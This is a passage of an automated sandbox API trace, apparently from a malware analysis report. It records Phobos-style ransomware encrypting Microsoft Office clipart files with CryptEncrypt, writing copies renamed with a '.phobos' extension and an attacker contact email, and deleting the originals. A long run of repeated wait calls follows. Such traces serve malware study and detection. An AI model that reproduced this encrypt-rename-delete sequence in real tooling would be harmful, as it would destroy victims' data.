files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.081] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0065.081] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0065.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0065.081] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0065.081] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0065.081] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x7e4, lpOverlapped=0x0) returned 1 [0065.446] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x7f0) returned 1 [0065.446] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x7f0, lpOverlapped=0x0) returned 1 [0065.446] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0065.446] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0065.447] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0065.447] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0065.447] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0065.447] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0065.447] CloseHandle (hObject=0x31c) returned 1 [0065.447] CloseHandle (hObject=0x2fc) returned 1 [0065.447] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0065.448] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0065.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0065.448] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2404) returned 1 [0065.448] CloseHandle (hObject=0x2fc) returned 1 [0065.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0065.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0065.448] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0065.448] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0065.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.449] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0065.449] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0065.449] ReadFile (hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0) Thread: id = 41 os_tid = 0x744 [0042.951] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x33a00a0 [0042.951] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x33b00a8 [0042.951] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b1b590 [0042.951] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x110102) returned 0x3c58020 [0042.954] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b1b5c0 [0042.954] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef730, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef798 | out: phKey=0x38ef798*=0x10c8d90) returned 1 [0042.954] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x38ef780, dwFlags=0x0) returned 1 [0042.954] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x38ef74c | out: pbData=0x2b1b5c0, pdwDataLen=0x38ef74c) returned 1 [0042.954] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0042.954] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0042.954] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0042.954] Wow64DisableWow64FsRedirection (in: OldValue=0x38ef7e4 | out: OldValue=0x38ef7e4*=0x0) returned 1 [0042.954] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.954] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.955] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.956] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.957] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.959] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.961] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.962] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.963] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.964] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.966] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.967] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.970] WaitForSingleObject (hHandle=0x2e8, 